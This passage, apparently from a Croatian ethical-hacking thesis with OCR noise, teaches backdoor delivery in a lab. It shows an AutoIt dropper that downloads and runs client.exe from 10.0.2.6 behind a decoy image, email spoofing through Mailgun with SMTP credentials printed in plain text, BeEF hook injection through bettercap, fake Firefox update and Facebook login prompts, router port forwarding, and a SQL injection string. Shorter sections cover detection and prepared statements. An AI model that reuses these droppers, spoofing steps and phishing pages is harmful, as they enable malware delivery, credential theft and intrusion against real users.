napada koristeci program XArp za detekciju ARP napada (omogucavaju manipulaciju
podataka koji su poslani Internetom), tj. hakera unutar naSse mreze. Kao $to je
spomenuto potrebno je paziti da li stranica ima http ili https prefiks, pa tako mozemo

instalirati dodatak na pretrazivacu HTTPS Everywhere.

Prije instalacije datoteka preporucljivo je utvrditi izvor i valjanost datoteke. Kako smo
prethodno spomenuli svaka datoteka ima jedinstveni potpis (eng. signature), stranice
obi¢no imaju potpis datoteke koju preuzimamo (eng. aka. checksum). Ako je netko
promijenio datoteku na bilo koji nacin, potpis datoteke ¢e se promijeniti i po tome
mozemo zakljuciti da se ne radi o originalnoj verziji datoteke. Program koji mozemo

koristiti za dobivanje i usporedbu potpisa zove se WinMD5.

57 WinMD5Free v1.20 - X

'H'J WinMD5Free

WA, 'J".'i M Ij 5 LCOm

Select a file to compute MD3 checksurn (or drag and drop a file onto this window)

| ChUsersh|EUser\Downloads\winmdSfree.zip | Browse ..

I Conce

File Mame and Size:  C\UsershIEUser\Downloads\winmdSfreezip (268376 bytes)

Current file MD5 checksum value:

|TSf4334DbE':IabEdaESbDSac‘.d322445EE |

Original file MD5 checksum value (optional). It usually can be found from website or .md5 fil

|TSf4334'3b€']ab£:1aESbDSac‘.d322445EE | | Verify |

Website About Exit

WinMD5Free.zip MD5:

WinMD5Free.exe MDS5: 94453128699569ddBad4bbdcasetebc209a

Slika 55. WinMD5 - koristenje, Izvor: Izrada autora
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5.4.3. Socijalni inZenjering (eng. Social engineering)

Do sada smo vidjeli nacine koji ne zahtijevaju interakciju s korisnikom, prikazali
smo kako mozZemo lazirati azuriranje, izmijeniti datoteku prilikom preuzimanja ali smo
morali biti man in the middle na LAN mreZi. Ranije je spomenuto kako je prikupljanje
informacija najbitniji dio napada, pa tako ¢emo prikazati naCine kojim prikupljamo
informacija mete koriste¢i pritom samo ime korisnika ili facebook racun. Nakon toga
potrebno je odabrati strategiju za dostavu backdoora koji je prilagoden meti da ne

djeluje kao prijetnja. Prikazat c¢emo kako pitati metu da pokrene taj backdoor.

5.4.3.1. Prikupljanje informacija mete

Informacije mozemo prikupiti koriStenjem alata maltego, odaberimo Maltego
CE (Free) i nakon registracije, prijavimo se. Na poCetnom zaslonu s desne strane
imamo transformers odnosno dodatke (eng. plugins) koji sluze za prikupljanje
odredenih informacija. U lijevom kutu gore mozemo kliknuti na ikonu sa simbolom plus

kako bi dodali novi graf, pogledajmo sliku 56.

@ B+ & Maltego Community Edition 4.2.9
M nvestigate  View  Entties  Collections  Transforms  Machines  Collaboration Import | Export  Windows

Maltego Community Edition 4.2.9

Slika 56. Maltego — graf entiteta, Izvor: Izrada autora

Entiteti su organizirani u kategorije ovisno o njihovom tipu, pa tako moZzemo nadodati
ime osobe, njihove drustvene mreze, stranice, broj telefona... Promjenom svojstva
entiteta i pokretanjem transformera nad odredenim entitetom (desni klik na entitet i
odabir transforms) dobivamo informacije koje nam mogu pomogéi.
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Ovo je besplatna verzija programa tako da su neke postavke i moguénosti ogranicene,

no ideja ovog programa je da pronade $to vise informacija koje bi nam mogle koristiti.

Dodamo entitet i pomocu transforms pokre¢emo odredeno trazenje, npr. ako dodamo
ime i prezime osobe mozemo naéi web stranice na kojima je ta osoba. Ako smo
pronasli vise raCuna facebooka onda to pogledamo na Internetu i tako izbacimo druge
raune Kkoji su pronadeni od strane maltega. lzbacujemo pogreSne informacije i
koristimo transforms za novopronadene entitete kako bi dobiti jos korisnih informacija.
Kada smo napravili pretrazivanje, logi¢ki povezemo graf. Prepoznajemo koje medije
meta koristi, koje informacije najéeSée razmjenjuje (ovisno o sadrzaju kojeg osoba
trazi, radi). Prikupljene informacije pomazZu nam za lazno predstavljanje i moZzemo ih
iskoristiti za slanje maliciozne datoteku, napraviti spear phishing napad itd. Ako ni
jedan nacin nije uspio prema meti, mozemo ponoviti postupak na racune metinih

kontakata i nakon toga probati doc¢i do mete.

5.4.3.2. Spajanje backdoora s datotekom
U nastavku pokazati ¢emo na koji naCin moZzemo ubaciti prethodno kreirani
backdoor u bilo koju datoteku. Ideja je ubaciti backdoor u datoteku koja izgleda

vjerodostojno meti kako bi ju otvorila.

final.txt
Open

P M & ~[Desktop
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

#include <Array.au3>

Save = @60 6

Local $urls = "http://10.0.2.6/evil-files/backdoor/client.exe, http://10.0.2.6/evil-files/backdoor/a.jpg"

Local $urlsArray = StringSplit($urls, ",", 2 )

Local $arrayRows = UBound($urlsArray, $UBOUND_ROWS)
Local $temp_url[$arrayRows]
Local $counter = @

For $url In $urlsArray
$sFile = _DownloadFile($url)
$temp_url[$counter] = $sFile
$counter=%counter+1

Next

For $i = @ To $counter-1
shellExecute($temp_url[$i])
Next

Func _DownloadFile($sURL)
Local $hDownload, $sFile|
$sFile = StringRegExpReplace($sURL, "".%/", "")
$sDirectory = QTempDir & $sFile
$hDownload = InetGet($sURL, $sDirectory, 17, 1)
InetClose($hDownload)
Return $sDirectory

EndFunc ;=_GetURLImage

Saving file "froot/Desktop/finaltxt”... Plain Text ¥  Tab Width: 8 Ln 26, Col 29 A INS
Slika 57. Automatizirana skripta za preuzimanje i pokretanje datoteka,

Izvor: Izrada autora
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Koristit cemo skriptu koja preuzima datoteku i backdoor, te ih pokrece. Skripta je
preuzeta s Interneta [8], modificirana je i pisana u Autolt3 skripthom jeziku koji
automatizira procese. Varijabla $urls sadrZi listu poveznica na datoteke (datoteke
moraju biti dostupne na Internetu), kao prvi parametar odnosno poveznicu stavimo
poveznicu na datoteku naseg backdoora (http://10.0.2.6/evil-files/backdoor/client.exe),
a kao drugi parametar zelimo prikazati sliku korisniku tada predamo poveznicu na
direktnu datoteku slike. Vidimo da parametre odvajamo sa zarezom u toj varijabli i da
se za svaku poveznicu preuzima datoteka koja se pokrece. Vazno je naglasiti da
parametre napiSemo slijedno tako da su najprije navedene putanje do malicioznih
datoteka, a nakon toga putanja datoteke koju zelimo prikazati (npr. sliku). To ce
vjerojatno utjecati na vrijeme otvaranja datoteke no necemo dobiti pogresku kako drugi

program trenutno koristi ovu datoteku.

Primijetimo da datoteka ima ekstenziju .txt, nakon Sto smo zavrsili uredivanje
promijeniti ¢emo njenu ekstenziju u .au3. Program Aut2Exe v3 spaja sliku (prvi
parametar skripte) i backdoor (drugi parametar skripte) u jednu .exe datoteku s
odabranom ikonom. Otvorimo program i odaberemo datoteku, i u dijelu custom icon
odaberemo .ico datoteku (ikone mozemo pronadi na iconarchive.com). Buduci da se
radi o slici, operacijski sustav Windows obi¢no prikazuje sliku umjesto ikone zato
moramo napraviti konverziju u .ico datoteku (konverziju mozemo napraviti na rw-
designer.com/image-to-icon). Kada smo preuzeli .ico datoteku kliknemo na Convert
koja stvara .exe datoteku sa odabranom ikonom. Datoteka koja je kreirana, manje je
veliine od datoteke samog backdoora jer se otvaranjem te datoteke tek izvrSava

skripta za preuzimanije slike i backdoora.
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5.4.3.3. Laziranje e-poste

Jedna od tehnika social engineeringa za dostavljanje malware datoteke je
slanjem putem emaila predstavljajuci se kao druga osoba. Postoje razne web stranice
za email spoofing, no vec¢inom njihovi web serveri se nalaze na crnoj listi (eng.

blacklist) koje email domene obi¢no blokiraju ili automatski Salju u spam mapu.

Ideja je registrirati se na SMTP Kkoji pruza relay service i nakon toga koristiti sendemail
program na Kali Linuxu — za podeSavanje dijelova emaila (from, subject, message,
message-header) i poslali lazan email. Nakon registracije na mailgun, SMTP service
provider nam pruza podatke kao na slici 58. Ako koristimo mailgun (koriste ga tvrtke
kako bi poslale email sa registrirane svoje domene) poslani email neée biti blokiran ili
premjesten u spam mapu. Mailgun takoder koriste programeri za implementaciju email

funkcionalnosti, pruza razne API-e za analizu podataka i sli¢no.

Za slanje emaila koristi pritom SMTP (eng. Simple Mail Transfer Protocol) server
(smtp.mailgun.org) koji Salje email pomocu SMTP-a, SMTP serveru koji je specificiran
kao primatelj (npr. smtp.gmail.com). Poslani email nalazi se na SMTP serveru sve dok
korisnik ne dohvati email koristeéi pritom POP3 (eng. Post Office Protocol version 3)

ili IMAP (eng. Internet Message Access Protocol).

How to send with SMTP

Grab your SMTP credentials:

SMTP hostname: smtp.mailgun.org

Port: 587 (recommended)

Username: postmaster@sandboxf6983ee9cbb148c590e110edc7817464. mailgun.org

Default password: 8103541623081237887dc142d733a23f-f135b0f1-68613646Manage SMTP credentials

Slika 58. Mailgun SMTP podaci, Izvor: Izrada autora
U terminal unesemo naredbu: sendemail gdje su parametri:

= -s smtp.mailgun.org:587 (mailgun server)

= -Xu postmaster@sandboxf6983ee9cbb148¢c590e110e4c7817464.mailgun.org
(mailgun korisni¢ko ime)

= -xp 8103541623081237887dc142d733a23f-f135b0f1-68613646 (mailgun
lozinka)

=  -f"temp@hotmail.com" (mail adresa koju zelimo vidjeti kao poSiljatelja)
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= -t "finlya3055@2go-mail.com” (mail adresa na koju Saljemo)

= -u"Subject” (naslov poruke)

= -m "Message body" (tijelo poruke)

= -0 message-header="From: Name Surname <temp@hotmail.com>" (sluzi za

uredivanje prikaza poruke prije nego $to je otvorena)

¢ BACK TO LIST Download Delete Source

NS Name Surname
26-04-2020 15:10:54

Subject

Message body

Slika 59. Temp Mail — primljena poruka, Izrada autora

U tijelo poruke moZemo nadodati poveznicu na backdoor (kreiranog u poglavlju
5.4.1.2.ili 5.4.3.2.) i potom pokrenuti server.py kako bi osluskivali nadolazece veze
koje ¢e se uspostaviti kada ga meta (finiya3055@2go-mail.com) pokrene. Besplatna
verzija mailguna odobrava slanje mailova na samo odredene domene, dok pla¢ena

verzija nudi opcije za dodavanje zZeljenih domena, npr. gmail, outlook...
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5.4.3.4. Laziranje obavijesti pretraZivaca (eng. browser)

Prikazati cemo kako mozemo prikazati lazni prozor isteka sesije neke web
aplikacije i potrebno azuriranje za pretrazivac koji meta koristi. Za potrebe napada na
web pretrazivac koristiti cemo BeEF (eng. Browser Exploitation Framework - detaljnije
opisan u poglavlju 4.3.) koji funkcionira na svim uredajima koji imaju pretrazivac koji
omogucuje JavaScript.

Prije nego Sto pokrenemo alat moramo pokrenuti web server naredbom service
apache? start. Na slici 60 s lijeve strane nalaze se dvije mape online i offline browsers.
U mapi online browsers nalaze se pretrazivaCi (eng. browsers) koje mozemo
kontrolirati, a u offline browsers nalaze se pretrazivaci koji su prethodno bili dodani.
Kako bi nadodali pretraziva¢ mete koji Zelimo kontrolirati, meta mora izvrsiti specifiCan

javascript kod.

[-] (Password must be different from "beef")

Hooked Browsers [-] Please type a new password for the beef user:
[~ Online Browsers GeoIP database is missing
4 =5 Offline Browsers Run geoipupdate to download / update Maxmind GeoIP database
49100215 Please wait for the BeEF service to start.
7 @M E 7 w0026 7 )
9 BME 7 10026 You might need to refresh your browser once it opens.

7 B 710026 Web UI: http://127.0.0.1:3000/ui/panel

Hook: <script src="http://<IP>:3000/hook.js"></script>
FEU N <script src="http://127.0.0.1:3000/hook. js"></script>

Slika 60. BeEF — javascript skripta, Izvor: 1zrada autora

Kada meta izvrSi JavaScript kod, pretraziva¢ ¢e biti dodan u online browsers i dobiti
¢emo mogucénost izvrSavanja raznih naredbi (npr. lazni prozor za prijavu, lazno

azuriranje, dobivanje kontrole operacijskog sustava mete...).
Razni su nacini na koje mozemo metu natjerati da izvrSi ovaj kod, npr.

1. slanjem poveznice na stranicu koja ima ukljuéenu ovu skriptu;
2. mozemo ubaciti (eng. inject) skriptu na bilo koju stranicu koja meta posjeti,

koristi¢i ranije prikazanu vrstu napada man in the middle.

Za prvi primjer navigiramo se u root mapu web servera u kojoj se nalazi index.html
stranica, koju modificiramo tako da joj nadodamo JavaScript skriptu oznacenu na slici
60 sa promijenjenom IP adresom u adresu napadaca (Kali masine: ifconfig — 10.0.2.6).
Ako sada ucitamo web stranicu Kali masine JavaScript se izvrSio i IP adresa mete

dodana je u mapu online browsers.
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Drugi primjer koristi man in the middle pristup koji ne zahtjeva posjecivanje odredene
web stranice. Koristiti c¢emo bettercap i jednostavnu javascript skriptu BeEF-a koja

uklju€uje javascript datoteku (hook.js) u svaku stranicu koju meta posjeti. [3]

imported = document.createElement(’'script’);
imported.src = "http://10.0.2.6:3000/hook. js";

document.head.appendChild(imported);

Slika 61. Skripta inject_beef.js, Izvor: 1zrada autora

Na slici 61 vidimo skriptu koja dodaje javascript oznaku (eng. tag) sa poveznicom na

JavaScript BeEF-a na web serveru Kali masine.

Ideja je izvrSiti man in the middle i ubaciti javascript payload sa slike 61 kako bi imali
stalnu konekciju sa metom. Potrebno je modificirati capplet (hstshijack.cap) datoteku
koju koristi bettercap za zaobilazenje https-a, tako da koristi payload sa slike 61.
Datoteka hstshijack.cap nalazi se u direktoriju /usr/share/bettercap/caplets/hstshijack.
Naredbu set hstshijack.payloads postavimo na *:./root/Desktop/inject_beef.js i smo

podesili payload (slika 62) koji ¢e se koristit.

Kako bi izvrSili man in the middle napad, pokrenimo bettercap naredbom bettercap -
iface ethO -caplet /root/spoof.cap (capplet je objasnjen u poglavlju 5.4.2.1.), te

unesemo naredbu hstshijack/hstshijack kako bi ucitali hstshijack capplet.

[15:18:37] [sys Generating random variable names for this session ...
[15:18:37] [ Reading SSL log ...

[15:18:37] [ Reading caplet ...

[15:18:37] [ Module loaded.

Commands
hstshijack.show : Show module info.

Caplet

hstshija
Session info

Session ID : QdHak
Callback Path : /1Qkctfflalgh
Whitelist Path : /ZocdHfcLeiKwWOHA
SSL Log Path : /CtLnvk
SSL Log : 66 hosts

[15:18:37] [sys started on 10.0.2.6:8080 (sslstrip disabled)
[15:18:37] [ *, facebook.corn — 10.0.2.6
[15:18:37] [sy twitter.corn = 10.8.2.6

Slika 62. Bettercap - hstshijack, lzvor: Izrada autora
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Ako meta sada pokuSa ucitati bilo koju web stranicu, JavaScript (inject_beef.js) je

ucitan i stranica je ucitana s http umjesto https prefiksom.

Nakon $to je meta izvrsila JavaScript kod meta se pojavljuje u online browser mapi,
odabirom masine mozemo vidjeti detalje pretrazivaca mete i ostale informacije koje je
su korisne za napad na metu. Kartica koju ¢emo koristiti je Commands koja sluzi za
razne vrste napada. Pronademo i odaberemo modul kojeg Zelimo pokrenut i kliknemo
Execute. Na primjer mozemo koristiti module: Spyder Eye — za uzimanje slike zaslona
(pretrazivaCa), Redirect Browser za preusmjeravanje pretrazivaCa, takoder postoji

modul Raw JavaScript u kojem mozemo izvrsiti Zzeljeni JavaScript...

Hooked Browsers Getting Started Logs
4 5 Online Browsers
7 ! iﬂ 9 100215 Details Logs Commands
4 5] Offline Browsers Module Tree
45100215

7 & 710026 S
7 % 710026 > S0 Browser (56)
R » [C]Chrome Extensions (B)

Vi ! & 7 10028 - 7] Debug (8)

7T M S 7100215 + (2] Exploits {109)
+ [T Host (24
- [CIPEC (%)
+ 27 Metasploit (1)
- 2] Misc (200
+ 2] Metwork (21)
» [] Persistence (3)
» [C] Phonegap (16)
» 27 Social Engineering (25)

Slika 63. Beef — Commands, Izvor: Izrada autora

Za poruku isteka sesije koristiti ¢emo modul Petty Theaf i kao primjer odabrati ¢emo

facebook notifikaciju (slika 64 lijevo) i uneseni podaci od korisnika (slika 64 desno).

Facebook Session Timed Out Command results -
1 Mon Apr 27 2020 17:19:19 GMT-0400 (Eastern

(it Fal,

Your session has timed out due to inactivity. Daylight Time)

Please re-enter your username and password to login, data: answer=email@facebook.com:123456

Email:

Password:

Slika 64. Istekla sesija / rezultati odgovora, lzvor: Izrada autora
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Za notifikaciju koristiti Cemo modul Fake Notification Bar (Firefox) jer znamo da meta
koristi Firefox pretrazivac (kartica Details). U tom slu€aju ako meta preuzme datoteku
dostavljamo joj backdoor (kreiran u poglavlju 5.4.1.2.). Backdoor postavimo u web
server mapu i podesimo Plugin URL na putanju do datoteke http://10.0.2.6/update.exe
(preimenovan client.exe iz poglavlja 5.4.1.2.) i unesemo Notification text kojeg Zelimo

prikazati kao na slici 65.

«=> ¢ © & stackoverflow.com

%% Critical update for Firefox, click here to download and install. | Install plug-in..

Slika 65. Lazno aZuriranje na pretrazivacu, lzvor: Izrada autora

Nakon toga pokrenemo server.py skriptu (kreiranu u poglavlju 5.4.1.2.) u terminalu

Kali Linuxa i pricekamo klijenta da otvori backdoor datoteku za uspostavu konekcije.

5.4.4. Detekcija kreiranog backdoora

Prije samog otvaranja datoteke mozemo provjeriti svojstva (eng. properties)
datoteke i provjeriti tip (eng. type) datoteke. Hakeri ponekad predstavljaju datoteku kao
neki drugi tip koriste¢i RTL (eng. right to left override), npr. jpg, png, pdf i sli¢no. Ako
smo datoteku otvorili na Windowsu otvorimo Resource Monitor, karticu Network u

kojem moZemo vidjeti aktivhe konekcije, pogledajmo sliku 66.

'ZS:-Z' Resource Monitor
File Monitor Help
Overview CPU Memory Disk Network

‘ Processes with Network Activity hd |
‘ Network Activity B 1 Kbps Network /0 B 0% Network Utilization v |
TCP Connections )
Image PID Local Address Local Port Remote Address Remote Port Packet Loss %) Lat;n:y (ms)

SearchUl.exe 3768 10.02.15 49929 72.21.91.29 a0 0

searchlUl.exe 3768 10,0215 49927 204.79.197.254 443
SearchUl.exe 3768 100215 49926 25: 3

IPvG loopback 4 1 IPvG loopback

131.253.33.254 443

- - IPvE loopback 49918 IPvE loopback 5985
swchost.exe (netsves -p) 972 10.0.2.15 49924 104.74.123.50 443

swchost.exe [netsves -p) 972 10.0.2.15 49922 23611211 80
Tempclient.exe 5452 100215 49913 10,026 9999
svchost.exe (netsves -p) 972 10,0215 45771 51.105.249.223 443

Slika 66. Resource Monitor — TCP konekcije, Izvor: I1zrada autora

Na slici 66 mozZemo vidjeti otvorene portove i nazive procesa. Vidimo da je proces
Tempclient.exe spojen na adresu 10.0.2.6 na portu 9999 i djeluje sumnjivo. Ako je rije€
o raCunalu napadaca upisivanjem ove adrese u pretrazivac vjerojatno nas nece odvesti

na web stranicu ili web server.
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Kako bi provijerili koja domena koristi neku IP adresu mozemo Koristiti stranicu reverse
DNS lookup. Ako rezultati djeluju sumnjivo i to nije web stranica koju posjecujemo

tada se radi o konekciji na sumnjivo racunalo.

Datoteku mozemo otvoriti u sigurnosnom okruzenju (eng. sandbox) koje se koristi za
analiziranje datoteke npr. da li je doSlo do otvaranja portova, izmjene registra i sli¢no.
Koristiti Cemo online sandbox stranicu - hybrid analysis koja nam generira izvjestaj i

prikazuje sumnijive aktivnosti datoteke za koje mozemo vidjeti detalje (vidi sliku 67).

Suspicious Indicators

Anti-Detection/Stealthyness

GQueries kermnel debugger information hd

Gueries the intemet cache settings (often used to hide footprints in index dat or intemet cache) hd
Envircnment Awareness

Reads the active computer name hd

Reads the cryptographic machine GUID hd
General

Reads configuration files v
Network Related

Found potential IP address in binary/mernory hd
System Security

Modifies proxy settings hd

Queries sensitive |E security settings hd
Unusual Characteristics

Imports suspicious APls hd

Installs hooks/patches the running process A

Reads information about supported languages v

Slika 67. Hybrid analysis — izvjeS$taj, Izvor: Izrada autora

U izvjeStaju vidimo sumnjive radnje skenirane datoteke. Datoteka pristupa nazivu
racunala, registru za identifikaciju raCunala (cryptographic machine GUID). Sadrzi IP
adresu Sto potencijalno ukazuje da datoteka koristi konekciju sa uredajem na Internetu.
Datoteka koristi sumnjive API pozive kao Sto su GetTempPathW (za dobivanje
trenutne putanje), CreateDirectoryW (za kreiranje mapa), Create/DeleteFileW (za

kreiranje, brisanje datoteka) i sli¢no.

Trebali bi skenirati racunali te deaktivirati pokrenute procese ukoliko su nepoznati

(djeluju sumnjivo), omogucuju CRUD operacije te imaju konekciju sa Internetom.
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5.4.5. Napadi izvan lokalne mreze

U ovom poglavlju ukratko ¢emo objasniti kako prethodno prikazane napade

mozemo koristiti izvan lokalne mreze.

=—|
——
——

192.168.0.18

6 _I
> AQ”
ROUTER / GATEWAY —

4

Internet

192.168.0.19

‘ 89.100.145.180/ 192.168.0.1

m

\ /

/

192.168.0.20

\|

Slika 68. Opceniti prikaz mreze sa IP adresama, Izvor: Izrada autora

Na slici 68 mozemo vidjeti komunikaciju klijenta sa ruterom, koji komunicira izvan
mreze i vraca odgovor klijentu koji je poslao zahtjev. MoZzemo vidjeti da svaki uredaj
(klijent) ima svoju privatnu IP adresu (adresa koja nije vidljiva izvan mreze). S druge
strane ruter ima dvije IP adrese, privatnu adresu (eng. gateway) kojoj mogu pristupiti
svi uredaji u mrezi i koristi se samo unutar mreze i javnu koja sluzi za pristup Internetu

i svaki zahtjev zapravo dolazi s adrese rutera, a ne klijentske privatne adrese.

Naime radi se o NAT (eng. Network address translation) protokolu koji je nastao zbog
premalo jedinstvenih IPv4 adresa. NAT pretvara privatne IP adrese u javnu ili javne IP
adrese i obratno. Ruter stoga ima javnu IPv4 adresu registriranu kod ISP-a (eng.
Internet Service Provider) te omogucuje pristup Internetu. Klijenti (uredaji spojeni na

ruter) imaju IP adresu dodijeljenu od strane rutera.

Kako bi sve prethodno prikazane napade proveli izvan mreze, potrebno je konfigurirati
ruter da prihvaéa konekcije izvan lokalne mreze i usmijeriti ih prema zZeljenom uredaju

(Kali Linuxu). Takoder prethodno kreiranom backdooru (u poglavlju 5.4.1.2.) u skripti
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client.py potrebno je izmijeniti host varijablu u javnu IP adresu rutera koju mozemo
pronaci putem google trazilice upisivanjem ,whats my ip“. Pa tako ako bilo koji klijent

spojen na tu mreZu posalje zahtjev na Internet, prikazuje se javna IP adresa rutera.

Kada osoba otvori backdoor spaja se na na$ ruter i odredeni port, no ruteru ne zna
kome treba proslijediti zahtjev. Potrebno je konfigurirati ruter tako da svaki zahtjev na
odredenom portu (9999) proslijedi prema Kali Linux masini. Skripta server.py i dalje

osluskuje nadolazece konekcije na privatnoj IP adresi Kali Linux masine.

Kako bi konfigurirali ruter da Salje zahtjeve koji su pristigli na njegovu javnu IP adresu
potrebno je pronaci njegovu privatnu IP adresu. Privatnu IP adresu mozemo Koristiti
uporabom naredbenog retka (eng. cmd) i upisivanjem naredbe ipconfig ili na Linux
masini naredbom route -n i pogledajmo vrijednost Gateway. Dobivenu IP adresu

upisujemo u pretrazivac€ i nakon prijave mozemo podeSavati postavke rutera.

Potrebno je pronacdi opciju IP forwarding koja se takoder naziva Virtual network (ovisno
0 modelu rutera). Za vrijednosti public port i target port postavimo port na kojem
osluskujemo nadolazece konekcije (server.py port — 9999), a za Target IP Address
postavimo privatnu IP adresu Kali masine. Tako smo uspostavili konekciju sa uredajem
izvan LAN (eng. Local Area Network) mrezZe. Na isti nain moZemo osposobiti pristup
apache2 serveru (port - 80) izvan LAN mreze ako je to potrebno. Ideja je ista za
poglavlje 5.4.3.4., umjesto privatne IP adrese Kali Linux masine na slici 68 koristimo

javnu IP adresu rutera, i postavimo IP forwarding na port 3000.
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5.5. Hakiranje Web aplikacije

Buduéi da je hakiranje Web aplikacija veliko je podrucje, pokazati ¢emo
automatizirane testove koji nam javljaju ranjivosti koje bi haker mogao iskoristiti. Web
aplikacija je aplikacija instalirana na nekom racunalu (serveru). Server obi¢no ima
instaliran web posluzitelj primjerice Apache i bazu podataka, npr. MySQL. Web
aplikaciju pokre¢e Web server, kada klijent zahtjeva Web stranicu ona se izvrSava na

serveru i klijentu se dostavlja html stranica.

Kako bi hakirali Web aplikaciju moZzemo Kkoristiti napade na server (poglavlje 5.3.), no
u ovom poglavlju pokazati ¢emo metode koje hakeri koriste, automatizirane testove
koji ¢e prikazati ranjivosti Web aplikacije (multillidae) koja se nalazi u Metasploitableu
i sli¢no. U slucaju da nismo pronasli ranjivosti ciljane Web aplikacije, moguce je pronaci

druge aplikacije koje su na istom serveru i iskoristiti njihove ranjivosti.

Informacije moZemo prikupiti koristeéi Web aplikacije Whois Lookup (pronalazak
opcenitih informacija servera, domene ili IP adrese), Netcraft (pronalazak tehnologija

koriStenih za kreiranje Web aplikacije), Robtex za dodatne informacije.

@ee® J & Cross Site Scripting (Reflected) A
v Alerts (19) http:/f10.0.2.4/mutillidaefindex. php?choice=%3C% 2Ftd% 3E%3Cscript¥% T\

— URL: 3Ealert%281%29%3B%3C%2Fscript¥%3E% 3Ctd% 3E&initials=ZAP &page

» ' Cross Site Scripting (Reflected) (28) =user-poll.php&user-poll-php-submit-button=5Submit+vote

» [ External Redirect Risk: i High

» 8 Path Traversal (13) Confidence: Medium

» f Remote File Inclusion Parameter: choice

» M Remote 0S Command Injection Attack: <ftd>=<script=alert(1);</script><td=

» o application Error Disclosure (74) Evidence: =jtd=<script=alert(l);</script=<td=

» ¥ Directory Browsing (6) CWE ID: 79

» P Parameter Tampering (17) MRSy

» f X-Frame-Options Header Not Set (136) Source.: . Active (40012 - Cross Site Scripting (Reflected))

Description:

» (U Absence of Anti-CSRF Tokens (37)

" . ka?e N[_J HEtpOnly Fla.g (37) ) Cross-site Scripting (XSS) is an attack technigue that involves echoing

» [ Cookie Without SameSite Attribute (37) attacker-supplied code into a user's browser instance. A browser instance

» [V Information Disclosure - Debug Error Messages can be a standard web browser client, or a browser object embedded ina |y
» [ Private IP Disclosure (12) A S U

» [ Server Leaks Information via "X-Powered-By" HT| | gther Info:

» [ X-Content-Type-Options Header Missing (183)

» [ \nformation Disclosure - Sensitive Information in

» [ \nformation Disclosure - Suspicious Comments |

» [ Timestamp Disclosure - Unix (458)

Solution:
D ST Co
Use a vetted library or framework that does not allow this weakness to H
occur or provides constructs that make this weakness easier to avoid. [
C Examples of libraries and frameworks that make it easier to generate v
- ) LS O T A s Y v
Alerts BU5 (44 (U7 R 3 Primary Proxy: localhost:8080 Current Scans 4 0 B0 ®o Do @0 Mo 0 #o

Slika 69. ZAP — rezultati, lzvor: Izrada autora

Na slici 69 je prikazan ZAP (eng. Zed Attack Proxy) koji automatski pronalazi ranjivosti
u Web aplikacijama, moze se koristiti i za manualno testiranje. Takoder poznat je pod
nazivom ,man-in-the-middle-proxy“ jer se nalazi izmedu pretrazivaca i Web aplikacije
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kako bi analizirao/modificirao promet koji se izmedu njih odvija. Moguce je provesti
pasivno i aktivno skeniranje. Pasivno skeniranje je inicijalno ukljueno te ne mijenja
odgovore koji idu prema aplikaciji (prikazuje neke ranjivosti). Aktivno skeniranje
pronalazi vise ranjivosti od pasivnog skeniranja. Ako pokrenemo attack (pokrenuli smo
aktivno skeniranje na unesenom URL-u) ZAP koristeCi proxy najprije pronalazi kroz
sve URL zahtjeve Web aplikacije (eng. spidering). Kasnije ZAP simulira napade na sve

pronadene stranice ovisno o odabranoj ,politici“ koju moZzemo podesiti. [14]

Na slici 69 mozemo vidjeti rezultate skeniranja sa kategoriziranim napadima, za

pronadene ranjivosti ZAP nam prikazuje kako ih rijesiti.

U nastavku ukratko ¢emo objasniti na koje nacline hakeri dobivaju pristup web

aplikacijama.

Nakon faze prikupljanja informacija mozemo vidjeti koje programske jezike Web server
razumije. U slu€aju da na Web aplikaciji postoji forma u kojoj moZzemo dodati datoteku,
umjesto oCekivane datoteke (npr. slike, videa, tekstualne datoteke i sl.) mozemo
odabrati backdoor (npr. kreiran u poglavlju 5.4.1.2) koji se zatim pohranjuje negdje na
serveru. Ako mozemo pristupiti URL-u na kojem je datoteka pohranjena, pokrenuli smo
ju i tako smo dobili pristup serveru. Kako bi se zastitili od ovakvog propusta potrebno
je prilikom kreiranja Web aplikacije napraviti provjeru tipa datoteke koja se moze dodati

(i na frontendu i na backendu).

Takoder potrebno je obratiti paznju na URL koji se prikazuje korisniku (napadacu). U
slu¢aju da se u URL-u nalaze nazivi skripti npr. indeks.php?page=naziv.php napadac
tada moZe probat pristupiti toj datoteci putem URL-a. Nakon toga u slu€aju gresSke
dobiva putanju na kojoj se datoteka nalazi (npr. var/‘www/.../.../naziv.php). Napadac
tada moze probati pristupiti ostalim datotekama na serveru pozicionirajuci se u drugi
direktorij. Kako bi sprijeCili ovakve napade umjesto dinami¢kog naziva skripte koja
dohvaca parametar pomoc¢u metode $ GET['page'] iz URL-a mozemo ruc¢no upisati

(eng. hardcode) naziv skripte u include koja se ucitava na danoj putanji.

Opcéenito svaki element za unos teksta moze posluziti napadacu da isproba pokretanje
neke naredbe (npr. operacijskog sustava na kojem se nalazi Web aplikacija ili SQL
naredbi). Svaki unos korisnika trebao bi se filtrirati prije unosa koristenjem Regex-a ili

ispitivanjem unesenog teksta (string-a).
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Dolazimo do napada pod nazivom SQL injection (takoder opisan u poglaviju 4.2.).
Vecina stranica koristi bazu podataka, Web aplikacija obi¢no vr§i CRUD (eng. Create
Read Update Delete) operacije nad nekom bazom. SQL injection provodimo
izvrSavajuci naredbe nad bazom koje upisujemo u element za unos teksta u formi
(mozemo isprobati na viSe stranica Web aplikacije) ili u URL. Obi¢no koristimo
specijalne znakove kao $to su jednostruki navodnici. Recimo da imamo formu za koja
trazi korisni¢ko ime i lozinku. U element za unos lozinke unesemo 123456' OR 1=1#.
Znak ljestve koristimo da se ignorira ostali dio upita koji se izvrSava na bazi. Upit na
bazi bi sada mogao izgledati npr. SELECT * Users WHERE
username='"inputUsername' and password='123456"' OR 1=1#'. U slu€aju da podaci
nisu filtrirani sada bi se ulogirali jer 1=1 uvijet je istinit. Mogli smo unesti i # u element
koji traZi unos korisnickog imena. U koliko postoji ranjivost koja omoguc¢ava SQL

injection mogu se Koristiti razni upiti na bazu.

Kako bi se zastitili od ovakvih napada mozemo Koristiti filtere inputa koje korisnici
unose. Najbolja praksa je koristiti parametrizirane uvjete gdje su podaci koji se unose
odvojeni od SQL-a. Napisemo glavni upit SQL-a odvojeno od vrijednosti koja se unosi,
tada prepare statement izgleda ,SELECT * FROM users WHERE username=?“ gdje
se upitnik zamjenjuje doslovno unesenoj vrijednosti od strane korisnika i prepare
statement upit nije izmijenjen. Web aplikacija tada zna da se radi o vrijednosti, a ne o
SQL kodu.

XSS (eng. Cross Site Scripting) je ranjivost koja omogucuje napadacu da ubaci
javascript kod u Web stranicu — takoder opisan u poglavlju 4.2.. Radi se o napadu koji

